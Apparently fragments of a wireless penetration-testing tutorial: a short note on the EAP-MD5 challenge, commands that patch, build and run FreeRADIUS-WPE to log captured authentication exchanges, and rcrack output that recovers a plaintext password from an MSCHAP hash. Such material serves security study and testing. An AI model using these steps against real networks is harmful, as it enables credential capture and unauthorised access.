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[ RADIUS server generates a 16-byte MD5-Challenge, sends as EAP-Request ]
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[ Client calculates MD5(response ID | password | challenge), returns to RADIUS ]
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$ tar xvfj freeradius-server-2.0.2.tar.bz2
$ cd freeradius-server-2.0.2/
$ patch -p1 < ../freeradius-wpe-2.0.2.patch
$ ./configure && make && sudo make install && sudo ldconfig
# cd /usr/local/etc/raddb/certs
# ./bootstrap
# radiusd
# tail -f /usr/local/var/log/radius/freeradius-serv er-wpe.log
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$ ./rcrack mschap_loweralpha#8-8_1_256x10000_mschap.rt  -h 
9bb1789e3e1224c563bab42517dd097d3dd4de4498d3d3a1
searching for 1 hash...
plaintext of 9bb1789e3e1224c563bab42517dd097d3dd4de 4498d3d3a1 is
pjpxwijt
cryptanalysis time: 0.00 s
statistics
--------------------------------------------------- ----
plaintext found:          1 of 1 (100.00%)
total disk access time:   0.00 s
total chain walk step:    36
--------------------------------------------------- ----
9bb1789e3e1224c563bab42517dd097d3dd4de4498d3d3a1  p jpxwijt
hex:706a707877696a74


